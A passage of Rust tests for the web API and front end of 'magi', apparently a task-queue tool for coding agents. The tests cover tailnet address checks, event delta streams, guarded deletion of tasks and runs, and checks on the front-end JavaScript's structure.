13881    fn only_the_cgnat_block_counts_as_a_tailnet_address() {
13882        // `tailscale ip -4` output is trusted only inside 100.64.0.0/10; the
13883        // boundary cases are what stop us binding to some other tool's idea of
13884        // an address.
13885        assert!(is_tailnet(&Ipv4Addr::new(100, 64, 0, 1)));
13886        assert!(is_tailnet(&Ipv4Addr::new(100, 127, 255, 254)));
13887        assert!(!is_tailnet(&Ipv4Addr::new(100, 63, 255, 255)));
13888        assert!(!is_tailnet(&Ipv4Addr::new(100, 128, 0, 1)));
13889        assert!(!is_tailnet(&Ipv4Addr::new(127, 0, 0, 1)));
13890    }
13891
13892    #[test]
13893    fn an_ambiguous_prefix_is_a_bad_request_and_a_missing_one_is_not_found() {
13894        let ids = vec![
13895            "20260902-140501-aaaa".to_owned(),
13896            "20260902-140502-aabb".to_owned(),
13897        ];
13898
13899        let missing = pick(ids.clone(), "zzzz", "run").expect_err("no match");
13900        let ambiguous = pick(ids.clone(), "202609", "run").expect_err("two matches");
13901        let short = pick(ids, "aabb", "run").expect("the short id is the tail of an id");
13902
13903        assert_eq!(missing.status, StatusCode::NOT_FOUND);
13904        assert_eq!(ambiguous.status, StatusCode::BAD_REQUEST);
13905        assert_eq!(short, "20260902-140502-aabb");
13906    }
13907    #[tokio::test]
13908    async fn a_panel_reaches_its_assets_by_the_bare_name_it_was_told_to_use() {
13909        // The prompt tells agents to reference attachments by bare filename.
13910        // A document served at `.../panel` resolves `shot.png` against its own
13911        // directory, i.e. `.../shot.png`, which is not the asset route - so a
13912        // panel written exactly as instructed showed broken images. Caught by
13913        // looking at a real one in a browser, not by reading the code.
13914        let fx = Fixture::start().await;
13915        let id = panel(
13916            &fx,
13917            "<img src=\"shot.png\">",
13918            &[("shot.png", b"\x89PNG\r\n\x1a\n")],
13919        );
13920
13921        // The frame's own URL ends in a filename, so its siblings are reachable.
13922        let doc = fx
13923            .get(&format!("/api/questions/{id}/panel/index.html"))
13924            .await;
13925        assert_eq!(doc.status, 200, "{}", doc.body);
13926        assert_eq!(doc.header("content-type"), Some("text/html; charset=utf-8"));
13927
13928        let sibling = fx.get(&format!("/api/questions/{id}/panel/shot.png")).await;
13929        assert_eq!(sibling.status, 200, "{}", sibling.body);
13930        assert_eq!(sibling.header("content-type"), Some("image/png"));
13931        assert_eq!(
13932            sibling.header("content-security-policy"),
13933            Some(PANEL_CSP),
13934            "the sibling route must carry the same policy as the asset route"
13935        );
13936
13937        // The original spelling keeps working: HEAD on it is how the front end
13938        // decides whether to mount a frame at all.
13939        assert_eq!(
13940            fx.head(&format!("/api/questions/{id}/panel")).await.status,
13941            200
13942        );
13943    }
13944
13945    #[test]
13946    fn delta_stamps_cover_add_update_remove_and_noop() {
13947        let before: Stamps = [("a".into(), (1, 10)), ("b".into(), (2, 20))].into();
13948        let after: Stamps = [("b".into(), (2, 21)), ("c".into(), (3, 30))].into();
13949        let delta = diff_stamps(&before, &after, 42);
13950        assert_eq!(delta.base, 42);
13951        assert_eq!(delta.changed, ["b", "c"]);
13952        assert_eq!(delta.removed, ["a"]);
13953        let same = diff_stamps(&after, &after, 43);
13954        assert!(same.changed.is_empty() && same.removed.is_empty());
13955        assert_ne!(stamps_revision(&before), stamps_revision(&after));
13956        let nanos: Stamps = [("b".into(), (2, 20))].into();
13957        let same_ms: Stamps = [("b".into(), (3, 20))].into();
13958        assert_ne!(stamps_revision(&nanos), stamps_revision(&same_ms));
13959        assert_eq!(stamps_revision(&Stamps::new()), 0);
13960    }
13961
13962    fn delta_test_ui(home: &FsPath) -> Arc<Ui> {
13963        std::fs::create_dir_all(home.join("runs")).unwrap();
13964        Arc::new(Ui::new(
13965            Queue::at(home.join("queue")),
13966            Questions::at(home.join("questions")),
13967            Talks::at(home.join("talks")),
13968            home.join("runs"),
13969            home.to_owned(),
13970            PathBuf::from("/repo/magi"),
13971        ))
13972    }
13973
13974    #[tokio::test]
13975    async fn delta_stream_announces_a_base_then_changed_and_removed_ids() {
13976        let home = TempDir::new().unwrap();
13977        let ui = delta_test_ui(home.path());
13978        let mut task = Task::new(
13979            "stream task".into(),
13980            "text".into(),
13981            PathBuf::from("/repo"),
13982            Source::Human,
13983        );
13984        ui.queue.put(&mut task).unwrap();
13985        let response = events(State(ui.clone())).await.into_response();
13986        let mut stream = response.into_body().into_data_stream();
13987        async fn change(stream: &mut axum::body::BodyDataStream) -> serde_json::Value {
13988            let chunk = tokio::time::timeout(Duration::from_secs(5), stream.next())
13989                .await
13990                .unwrap()
13991                .unwrap()
13992                .unwrap();
13993            let text = String::from_utf8(chunk.to_vec()).unwrap();
13994            let data = text
13995                .lines()
13996                .find_map(|line| {
13997                    line.strip_prefix("data: ")
13998                        .or_else(|| line.strip_prefix("data:"))
13999                })
14000                .unwrap();
14001            serde_json::from_str(data).unwrap()
14002        }
14003        let initial = change(&mut stream).await;
14004        assert!(initial.get("queue_delta").is_none());
14005        task.instruction.push_str(" changed");
14006        ui.queue.put(&mut task).unwrap();
14007        let updated = change(&mut stream).await;
14008        assert_eq!(updated["queue_delta"]["base"], initial["queue_rev"]);
14009        assert_eq!(
14010            updated["queue_delta"]["changed"],
14011            serde_json::json!([task.id])
14012        );
14013        assert_eq!(
14014            updated["queue_rev"].as_u64(),
14015            Some(stamps_revision(&store_stamps(ui.queue.root(), false)))
14016        );
14017        std::fs::remove_file(ui.queue.path_of(&task.id)).unwrap();
14018        let removed = change(&mut stream).await;
14019        assert_eq!(removed["queue_delta"]["base"], updated["queue_rev"]);
14020        assert_eq!(
14021            removed["queue_delta"]["removed"],
14022            serde_json::json!([task.id])
14023        );
14024    }
14025
14026    #[tokio::test]
14027    async fn delta_lists_keep_blockers_and_respect_the_run_window() {
14028        let home = TempDir::new().unwrap();
14029        let ui = delta_test_ui(home.path());
14030        let queue = ui.queue.clone();
14031        let query = |ids: Option<&str>| {
14032            Query(ListQuery {
14033                limit: Some(2),
14034                ids: ids.map(str::to_owned),
14035            })
14036        };
14037        let mut root = Task::new(
14038            "root".into(),
14039            "instruction".into(),
14040            PathBuf::from("/repo"),
14041            Source::Human,
14042        );
14043        queue.put(&mut root).unwrap();
14044        let mut blocked = Task::new(
14045            "blocked".into(),
14046            "instruction".into(),
14047            PathBuf::from("/repo"),
14048            Source::Human,
14049        );
14050        blocked.block(vec![root.id.clone()], None);
14051        queue.put(&mut blocked).unwrap();
14052        let whole =
14053            serde_json::to_value(queue_list(State(ui.clone()), query(None)).await.unwrap().0)
14054                .unwrap();
14055        let subset = serde_json::to_value(
14056            queue_list(State(ui.clone()), query(Some(&root.id)))
14057                .await
14058                .unwrap()
14059                .0,
14060        )
14061        .unwrap();
14062        assert_eq!(whole, subset, "requested root plus its blocked dependent");
14063        let blockers = serde_json::to_value(
14064            queue_list(State(ui.clone()), query(Some("")))
14065                .await
14066                .unwrap()
14067                .0,
14068        )
14069        .unwrap();
14070        assert_eq!(blockers.as_array().unwrap().len(), 1);
14071        assert_eq!(blockers[0]["id"], blocked.id);
14072        assert_eq!(
14073            blockers[0]["waits_on"],
14074            whole
14075                .as_array()
14076                .unwrap()
14077                .iter()
14078                .find(|row| row["id"] == blocked.id)
14079                .unwrap()["waits_on"]
14080        );
14081
14082        for id in [
14083            "20260902-140501-aaaa",
14084            "20260902-140502-bbbb",
14085            "20260902-140503-cccc",
14086        ] {
14087            write_run(&ui.runs, id, RunStatus::Merged);
14088        }
14089        let old = serde_json::to_value(
14090            runs_list(State(ui.clone()), query(Some("20260902-140501-aaaa")))
14091                .await
14092                .unwrap()
14093                .0,
14094        )
14095        .unwrap();
14096        assert!(
14097            old.as_array().unwrap().is_empty(),
14098            "older updates must not enter the window"
14099        );
14100        let newest = serde_json::to_value(
14101            runs_list(State(ui.clone()), query(Some("20260902-140503-cccc")))
14102                .await
14103                .unwrap()
14104                .0,
14105        )
14106        .unwrap();
14107        assert_eq!(newest.as_array().unwrap().len(), 1);
14108        assert_eq!(newest[0]["id"], "20260902-140503-cccc");
14109
14110        seed_talk_at(&ui.talks, "20260905-000000-d4e5", "open");
14111        seed_talk_at(&ui.talks, "20260905-000001-d4e6", "open");
14112        let talks = serde_json::to_value(
14113            talks_list(State(ui.clone()), query(Some("20260905-000000-d4e5")))
14114                .await
14115                .unwrap()
14116                .0,
14117        )
14118        .unwrap();
14119        assert_eq!(talks.as_array().unwrap().len(), 1);
14120        assert_eq!(talks[0]["id"], "20260905-000000-d4e5");
14121        assert_eq!(
14122            serde_json::to_value(
14123                talks_list(State(ui.clone()), query(Some("")))
14124                    .await
14125                    .unwrap()
14126                    .0
14127            )
14128            .unwrap(),
14129            serde_json::json!([])
14130        );
14131    }
14132
14133    #[tokio::test]
14134    #[ignore = "manual payload measurement; requires a JSON snapshot in MAGI_WEB_BENCH_HOME"]
14135    async fn delta_payload_benchmark() {
14136        let home = PathBuf::from(std::env::var_os("MAGI_WEB_BENCH_HOME").expect("snapshot"));
14137        let ui = delta_test_ui(&home);
14138        let query = |ids: Option<String>| {
14139            Query(ListQuery {
14140                limit: Some(50),
14141                ids,
14142            })
14143        };
14144        let queue = queue_list(State(ui.clone()), query(None)).await.unwrap().0;
14145        let runs = runs_list(State(ui.clone()), query(None)).await.unwrap().0;
14146        let talks = talks_list(State(ui.clone()), query(None)).await.unwrap().0;
14147        let queue_id = queue
14148            .iter()
14149            .find(|row| row.task.status == crate::queue::TaskStatus::Running)
14150            .unwrap_or(&queue[0])
14151            .task
14152            .id
14153            .clone();
14154        let queue_delta = queue_list(State(ui.clone()), query(Some(queue_id)))
14155            .await
14156            .unwrap()
14157            .0;
14158        let runs_delta = runs_list(State(ui.clone()), query(Some(runs[0].id.clone())))
14159            .await
14160            .unwrap()
14161            .0;
14162        let talks_delta = talks_list(State(ui.clone()), query(Some(talks[0].talk.id.clone())))
14163            .await
14164            .unwrap()
14165            .0;
14166        let bytes = |rows: serde_json::Value| serde_json::to_vec(&rows).unwrap().len();
14167        eprintln!(
14168            "DELTA_PAYLOAD {}",
14169            serde_json::json!({
14170                "queue": [bytes(serde_json::to_value(&queue).unwrap()), bytes(serde_json::to_value(&queue_delta).unwrap())],
14171                "runs50": [bytes(serde_json::to_value(&runs).unwrap()), bytes(serde_json::to_value(&runs_delta).unwrap())],
14172                "talks": [bytes(serde_json::to_value(&talks).unwrap()), bytes(serde_json::to_value(&talks_delta).unwrap())],
14173                "counts": [queue.len(), runs.len(), talks.len()],
14174                "blocked": queue_delta.len() - 1,
14175            })
14176        );
14177    }
14178
14179    #[test]
14180    fn runs_revision_moves_when_deleting_an_older_run() {
14181        let temp = TempDir::new().expect("tempdir");
14182        let runs = temp.path().join("runs");
14183        std::fs::create_dir_all(&runs).expect("create runs dir");
14184
14185        assert_eq!(runs_revision(&runs), 0, "empty runs has 0 revision");
14186
14187        write_run(&runs, "20260901-100000-old1", RunStatus::Merged);
14188        std::thread::sleep(Duration::from_millis(10));
14189        write_run(&runs, "20260902-100000-new2", RunStatus::Merged);
14190
14191        let rev_before = runs_revision(&runs);
14192        assert!(rev_before > 0);
14193
14194        let old_dir = runs.join("20260901-100000-old1");
14195        std::fs::remove_dir_all(&old_dir).expect("remove old run");
14196
14197        let rev_after = runs_revision(&runs);
14198        assert_ne!(
14199            rev_before, rev_after,
14200            "deleting an older run must change the revision so other clients see the deletion"
14201        );
14202    }
14203
14204    /// A run's own `run.json` on an explicit `runs` root, bypassing the
14205    /// process-global home entirely — `RunState::save` writes through
14206    /// `run::home()`, whose `set_home` is a `OnceLock` no unit test may touch
14207    /// (see `tests::home_lock` in the integration suite for why).
14208    fn write_state(runs: &FsPath, state: &RunState) {
14209        let dir = runs.join(&state.id);
14210        std::fs::create_dir_all(&dir).expect("run dir");
14211        std::fs::write(
14212            dir.join("run.json"),
14213            serde_json::to_string_pretty(state).expect("serialize run"),
14214        )
14215        .expect("write run.json");
14216    }
14217
14218    /// A seat starting or finishing is a write to `run.json` like any other,
14219    /// so it moves the same revision the change stream already watches —
14220    /// nothing new for `/api/events` to learn, but the property this feature
14221    /// depends on to reach the phone without a poll.
14222    #[test]
14223    fn runs_revision_moves_when_a_seat_starts_and_again_when_it_finishes() {
14224        let temp = TempDir::new().expect("tempdir");
14225        let runs = temp.path().join("runs");
14226        std::fs::create_dir_all(&runs).expect("create runs dir");
14227        let mut state = RunState::new(
14228            PathBuf::from("/repo/magi"),
14229            "main".to_owned(),
14230            "0123456789abcdef".to_owned(),
14231            "task".to_owned(),
14232            Config::default(),
14233        );
14234        state.id = "20260902-100000-c0de".to_owned();
14235        write_state(&runs, &state);
14236
14237        let rev_idle = runs_revision(&runs);
14238        std::thread::sleep(Duration::from_millis(10));
14239        state.seat_started("judge", "judge-1", std::time::Duration::from_secs(60), 0);
14240        write_state(&runs, &state);
14241        let rev_started = runs_revision(&runs);
14242        assert_ne!(
14243            rev_idle, rev_started,
14244            "a seat starting must move the revision"
14245        );
14246
14247        std::thread::sleep(Duration::from_millis(10));
14248        state.seat_finished("judge-1");
14249        write_state(&runs, &state);
14250        let rev_finished = runs_revision(&runs);
14251        assert_ne!(
14252            rev_started, rev_finished,
14253            "and clearing it again must move the revision a second time"
14254        );
14255    }
14256
14257    #[tokio::test]
14258    async fn queue_json_carries_dependency_fields_and_a_hold_clears_them() {
14259        // `TaskView` flattens `Task`, so this is really asserting that
14260        // `#[serde(flatten)]` at web.rs:2530 hasn't quietly dropped a field -
14261        // e11fc58 added `blocked_by`/`block_reason`/`answers` to `Task` but
14262        // never touched web.rs, so nothing here caught it if it had.
14263        let fx = Fixture::start().await;
14264        let q = fx.queue();
14265
14266        let mut t = Task::new(
14267            "Task".to_owned(),
14268            "Instruction".to_owned(),
14269            PathBuf::from("/repo"),
14270            Source::Human,
14271        );
14272        t.block(
14273            vec!["20260101-000000-dead".to_owned()],
14274            Some("waiting on Task 1".to_owned()),
14275        );
14276        t.answers.push(crate::queue::AnsweredQuestion {
14277            question: "Which backend?".to_owned(),
14278            answer: "SQLite".to_owned(),
14279        });
14280        q.put(&mut t).expect("put t");
14281
14282        let res = fx.get("/api/queue").await;
14283        assert_eq!(res.status, 200);
14284        let list = res.json();
14285        let view = list
14286            .as_array()
14287            .expect("array")
14288            .iter()
14289            .find(|v| v["id"] == t.id)
14290            .expect("task in list");
14291        assert_eq!(view["status_str"], "blocked");
14292        assert_eq!(
14293            view["blocked_by"],
14294            serde_json::json!(["20260101-000000-dead"])
14295        );
14296        assert_eq!(view["block_reason"], "waiting on Task 1");
14297        assert_eq!(view["answers"][0]["question"], "Which backend?");
14298        assert_eq!(view["answers"][0]["answer"], "SQLite");
14299
14300        // A manual hold clears `blocked_by`/`block_reason` (`Task::hold_manual`)
14301        // but never `answers` - that is a settled decision, not state
14302        // describing the current block, so it survives.
14303        let res = fx
14304            .post(&format!("/api/queue/{}/hold", t.short()), None)
14305            .await;
14306        assert_eq!(res.status, 200);
14307        let held = res.json();
14308        assert_eq!(held["status_str"], "held");
14309        assert_eq!(held["blocked_by"], serde_json::json!([]));
14310        assert!(held["block_reason"].is_null());
14311        assert_eq!(held["answers"][0]["answer"], "SQLite");
14312    }
14313
14314    #[tokio::test]
14315    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
14316        let fx = Fixture::start().await;
14317        let q = fx.queue();
14318        let mk = |title: &str| {
14319            Task::new(
14320                title.to_owned(),
14321                "Instruction".to_owned(),
14322                PathBuf::from("/repo"),
14323                Source::Human,
14324            )
14325        };
14326        let mut root = mk("root");
14327        root.hold_manual(Some("waiting".to_owned()));
14328        q.put(&mut root).unwrap();
14329        let mut mid = mk("mid");
14330        mid.block(vec![root.id.clone()], None);
14331        q.put(&mut mid).unwrap();
14332        let mut leaf = mk("leaf");
14333        leaf.block(vec![mid.id.clone()], None);
14334        q.put(&mut leaf).unwrap();
14335
14336        let list = fx.get("/api/queue").await.json();
14337        let find = |id: &str| {
14338            list.as_array()
14339                .unwrap()
14340                .iter()
14341                .find(|v| v["id"] == id)
14342                .unwrap()
14343                .clone()
14344        };
14345        let leaf_view = find(&leaf.id);
14346        assert_eq!(
14347            leaf_view["waits_on"],
14348            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
14349        );
14350        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
14351        assert_eq!(
14352            find(&mid.id)["waits_on"],
14353            serde_json::json!([format!("{} (held)", root.short())])
14354        );
14355        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
14356    }
14357
14358    #[tokio::test]
14359    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
14360        let fx = Fixture::start().await;
14361        let q = fx.queue();
14362
14363        // 1. A queued task with runs attached can be deleted.
14364        let mut t1 = Task::new(
14365            "Task 1".to_owned(),
14366            "Instruction 1".to_owned(),
14367            PathBuf::from("/repo"),
14368            Source::Human,
14369        );
14370        let run_id = "20260901-000000-r111";
14371        t1.runs.push(run_id.to_owned());
14372        write_run(&fx.runs(), run_id, RunStatus::Merged);
14373        q.put(&mut t1).expect("put t1");
14374
14375        // Delete by short id
14376        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
14377        assert_eq!(res.status, 204);
14378        assert!(res.body.is_empty(), "204 No Content has no body");
14379        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
14380        assert!(
14381            fx.runs().join(run_id).exists(),
14382            "run directory must not be deleted when its task is deleted"
14383        );
14384
14385        // 2. A task a live daemon is running is refused with 409.
14386        let mut t2 = Task::new(
14387            "Task 2".to_owned(),
14388            "Instruction 2".to_owned(),
14389            PathBuf::from("/repo"),
14390            Source::Human,
14391        );
14392        t2.status = TaskStatus::Running;
14393        q.put(&mut t2).expect("put t2");
14394        let mut beat = crate::daemon::Status::new();
14395        beat.current = vec![crate::daemon::Current {
14396            task: t2.id.clone(),
14397            run: "20260901-000000-r222".to_owned(),
14398        }];
14399        beat.updated_at = jiff::Timestamp::now();
14400        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14401            .expect("publish a heartbeat");
14402        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
14403        assert_eq!(res.status, 409);
14404        assert!(
14405            res.json()["error"]
14406                .as_str()
14407                .unwrap()
14408                .contains("live daemon")
14409        );
14410        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
14411
14412        // 3. The same `running` status and an orphaned lock, with no daemon
14413        // behind either, is a leftover and deletable. Before this the phone
14414        // refused it for good: the status never changes on its own and
14415        // nothing drops a lock whose process is gone.
14416        // The daemon is killed: the file stays, the heartbeat stops.
14417        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
14418        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14419            .expect("leave a stale heartbeat");
14420        let mut t3 = Task::new(
14421            "Task 3".to_owned(),
14422            "Instruction 3".to_owned(),
14423            PathBuf::from("/repo"),
14424            Source::Human,
14425        );
14426        t3.status = TaskStatus::Running;
14427        q.put(&mut t3).expect("put t3");
14428        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
14429        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
14430        assert_eq!(res.status, 204);
14431        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
14432        assert!(
14433            q.claim(&t3.id).is_ok(),
14434            "the stale lock went with it, so the id is claimable again"
14435        );
14436
14437        // 4. Missing id returns 404
14438        let res = fx.delete("/api/queue/nonexistent").await;
14439        assert_eq!(res.status, 404);
14440    }
14441
14442    #[tokio::test]
14443    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
14444        let fx = Fixture::start().await;
14445        let runs = fx.runs();
14446
14447        // 1. Finished and folded run can be deleted along with artifacts
14448        let run_id = "20260901-000000-fold";
14449        let mut state = RunState::new(
14450            PathBuf::from("/repo"),
14451            "main".to_owned(),
14452            "abc".to_owned(),
14453            "instruction".to_owned(),
14454            Config::default(),
14455        );
14456        state.id = run_id.to_owned();
14457        state.status = RunStatus::Merged;
14458        state.candidates.push(crate::run::Candidate {
14459            index: 0,
14460            label: 'A',
14461            agent: "a".to_owned(),
14462            branch: "b".to_owned(),
14463            worktree: PathBuf::from("/w"),
14464            summary: String::new(),
14465            stat: String::new(),
14466            files: 1,
14467            commits: 1,
14468            empty: false,
14469            failed: None,
14470            verified_noop: None,
14471            duration_ms: 0,
14472            folded: true,
14473        });
14474        let dir = runs.join(run_id);
14475        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
14476        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
14477            .expect("write artifact");
14478        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
14479            .expect("write run.json");
14480
14481        // Delete by short id
14482        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
14483        assert_eq!(res.status, 204);
14484        assert!(res.body.is_empty(), "204 has no body");
14485        assert!(!dir.exists(), "run directory and artifacts must be deleted");
14486
14487        // 2. A run a live daemon is working on is refused with 409. The
14488        // heartbeat is what makes it refusable: an unfinished run with no
14489        // daemon behind it is a leftover from a killed process, and case 1
14490        // above would otherwise be impossible to tell apart from this one.
14491        let run_running = "20260901-000000-rung";
14492        write_run(&runs, run_running, RunStatus::Prep);
14493        let mut beat = crate::daemon::Status::new();
14494        beat.current = vec![crate::daemon::Current {
14495            task: "20260901-000000-task".to_owned(),
14496            run: run_running.to_owned(),
14497        }];
14498        beat.updated_at = jiff::Timestamp::now();
14499        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
14500            .expect("publish a heartbeat");
14501        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
14502        assert_eq!(res.status, 409);
14503        assert!(
14504            res.json()["error"]
14505                .as_str()
14506                .unwrap()
14507                .contains("live daemon"),
14508            "the refusal must say who is holding it"
14509        );
14510        assert!(
14511            runs.join(run_running).exists(),
14512            "a run in flight keeps its directory"
14513        );
14514
14515        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
14516        let run_unfolded = "20260901-000000-unfd";
14517        let mut state2 = RunState::new(
14518            PathBuf::from("/repo"),
14519            "main".to_owned(),
14520            "abc".to_owned(),
14521            "instruction".to_owned(),
14522            Config::default(),
14523        );
14524        state2.id = run_unfolded.to_owned();
14525        state2.status = RunStatus::Ready;
14526        state2.candidates.push(crate::run::Candidate {
14527            index: 0,
14528            label: 'A',
14529            agent: "a".to_owned(),
14530            branch: "b".to_owned(),
14531            worktree: PathBuf::from("/w"),
14532            summary: String::new(),
14533            stat: String::new(),
14534            files: 1,
14535            commits: 1,
14536            empty: false,
14537            failed: None,
14538            verified_noop: None,
14539            duration_ms: 0,
14540            folded: false,
14541        });
14542        let dir2 = runs.join(run_unfolded);
14543        std::fs::create_dir_all(&dir2).expect("create dir2");
14544        std::fs::write(
14545            dir2.join("run.json"),
14546            serde_json::to_string(&state2).unwrap(),
14547        )
14548        .expect("write run.json");
14549
14550        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
14551        assert_eq!(res.status, 409);
14552        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
14553        assert!(dir2.exists(), "unfolded run directory is kept");
14554
14555        // 4. Missing id returns 404
14556        let res = fx.delete("/api/runs/nonexistent").await;
14557        assert_eq!(res.status, 404);
14558    }
14559
14560    /// The queue tiles on the Stats tab must render even on a home with no
14561    /// runs at all: queue state is not derived from run history, so hiding
14562    /// the whole dashboard body behind "no runs yet" would drop the one
14563    /// thing this tab promises unconditionally (queued/running/held/done).
14564    /// A DOM-level test would need a browser this suite does not have, so
14565    /// this pins the same invariant textually: `renderStatsQueue` is called
14566    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
14567    /// block that gates the run-derived panels.
14568    #[test]
14569    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
14570        let start = APP_JS
14571            .find("function renderStats() {")
14572            .expect("renderStats");
14573        let end = start
14574            + APP_JS[start..]
14575                .find("function statsTile(")
14576                .expect("the next top-level function");
14577        let body = &APP_JS[start..end];
14578
14579        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
14580        let gate_end = gate_start
14581            + body[gate_start..]
14582                .find("}\n  renderStatsQueue")
14583                .expect("the gate's own closing brace, right before the unconditional call");
14584        let gated = &body[gate_start..gate_end];
14585
14586        assert_eq!(
14587            body.matches("renderStatsQueue(").count(),
14588            1,
14589            "renderStats must call renderStatsQueue exactly once: {body}"
14590        );
14591        assert!(
14592            !gated.contains("renderStatsQueue"),
14593            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
14594             run-derived panels on an empty run history - the queue panel has to render \
14595             regardless: {gated}"
14596        );
14597    }
14598
14599    #[test]
14600    fn web_ui_delete_contract_in_front_end() {
14601        // 1. API block has both delete endpoints
14602        assert!(APP_JS.contains("deleteRun:"));
14603        assert!(APP_JS.contains("deleteTask:"));
14604
14605        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
14606        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
14607            ..APP_JS.find("function renderRuns").unwrap()];
14608        assert!(!run_cards_slice.to_lowercase().contains("delete"));
14609
14610        // 3. Run detail has delete entry and reasons
14611        assert!(APP_JS.contains("renderRunDelete"));
14612        assert!(APP_JS.contains("runDeleteReason"));
14613        assert!(APP_JS.contains("magi fold"));
14614        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
14615
14616        // 4. Two-step delete arming and focus on Cancel
14617        assert!(APP_JS.contains("cancel.focus"));
14618        assert!(APP_JS.contains("armedRunDelete"));
14619        assert!(APP_JS.contains("renderTaskDeleteBox"));
14620        assert!(APP_JS.contains("armed${cap(key)}"));
14621
14622        // 5. Running task has disabled delete
14623        assert!(APP_JS.contains("disabled: status === \"running\""));
14624    }
14625
14626    /// Every element a run card's updater reaches for must be in the `refs`
14627    /// the builder handed it.
14628    ///
14629    /// `createRunCard` builds its elements, appends them to the card, and then
14630    /// lists them again in `row.refs`. That second list is the one the updater
14631    /// uses, and nothing connects the two - an element can be built, appended
14632    /// and rendered, and still be missing from `refs`. `superseded` was, for
14633    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
14634    /// exception took `syncList` with it, and the deck showed
14635    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
14636    /// line is computed before the cards, which is why the failure looked like
14637    /// a server that had lost its runs rather than a front end that had
14638    /// stopped rendering them.
14639    ///
14640    /// A `cargo test` cannot execute the front end, so this reads the two
14641    /// halves out of the source and compares them as sets. It is not a check
14642    /// on the wording of either list: adding an element, renaming one, or
14643    /// reordering them all keeps this passing, and only using one the builder
14644    /// never published fails it.
14645    #[test]
14646    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
14647        let build = APP_JS
14648            .find("function createRunCard")
14649            .expect("createRunCard exists");
14650        let update = APP_JS
14651            .find("function updateRunCard")
14652            .expect("updateRunCard exists");
14653        let end = APP_JS
14654            .find("function renderRuns")
14655            .expect("renderRuns exists");
14656
14657        // The builder's published set: the object literal assigned to `refs`.
14658        let builder = &APP_JS[build..update];
14659        let open = builder.find("refs = {").expect("createRunCard sets refs");
14660        let literal = &builder[open + "refs = {".len()..];
14661        let close = literal.find('}').expect("the refs literal is closed");
14662        let published: HashSet<&str> = literal[..close]
14663            .split(',')
14664            // `name` and `name: value` both bind `name`.
14665            .filter_map(|entry| entry.split(':').next())
14666            .map(str::trim)
14667            .filter(|name| !name.is_empty())
14668            .collect();
14669        assert!(
14670            published.len() > 5,
14671            "the refs literal did not parse into names: {published:?}"
14672        );
14673
14674        // What the updaters reach for: every `r.<name>`, where `r` is the
14675        // `const r = row.refs` alias both functions open with.
14676        let mut used: Vec<&str> = Vec::new();
14677        let updaters = &APP_JS[update..end];
14678        for (at, _) in updaters.match_indices("r.") {
14679            // `r` must be the whole identifier, not the tail of another one
14680            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
14681            let before = updaters[..at].chars().next_back();
14682            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
14683                continue;
14684            }
14685            let rest = &updaters[at + 2..];
14686            let len = rest
14687                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
14688                .unwrap_or(rest.len());
14689            if len > 0 {
14690                used.push(&rest[..len]);
14691            }
14692        }
14693        assert!(
14694            used.len() > 5,
14695            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
14696        );
14697
14698        let missing: Vec<&str> = used
14699            .iter()
14700            .copied()
14701            .filter(|name| !published.contains(name))
14702            .collect();
14703        assert!(
14704            missing.is_empty(),
14705            "a run card's updater reaches for {missing:?}, which `createRunCard` \
14706             never put in `refs` - every card will throw and the list will \
14707             render empty under a count line that says otherwise. Published: \
14708             {published:?}"
14709        );
14710    }
14711
14712    #[tokio::test]
14713    async fn folding_from_the_phone_reports_what_it_removed() {
14714        let fx = Fixture::start().await;
14715        let runs = fx.runs();
14716
14717        // A run with no candidates has nothing to fold, which is a 200 with an
14718        // honest count rather than an error: the operator asked for the trees
14719        // to be gone and they are.
14720        let id = "20260901-000000-fold";
14721        write_run(&runs, id, RunStatus::Stalled);
14722        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
14723        assert_eq!(res.status, 200);
14724        assert_eq!(res.json()["removed_count"], 0);
14725        assert_eq!(res.json()["run"], id);
14726        assert!(
14727            runs.join(id).exists(),
14728            "a fold keeps the run's record; only the worktrees go"
14729        );
14730    }
14731
14732    #[tokio::test]
14733    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
14734        let fx = Fixture::start().await;
14735        let runs = fx.runs();
14736        let wt = fx.home.path().join("wt").join("magi").join("dead");
14737        let id = "20260901-000000-dead";
14738        std::fs::create_dir_all(runs.join(id)).expect("run dir");
14739        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
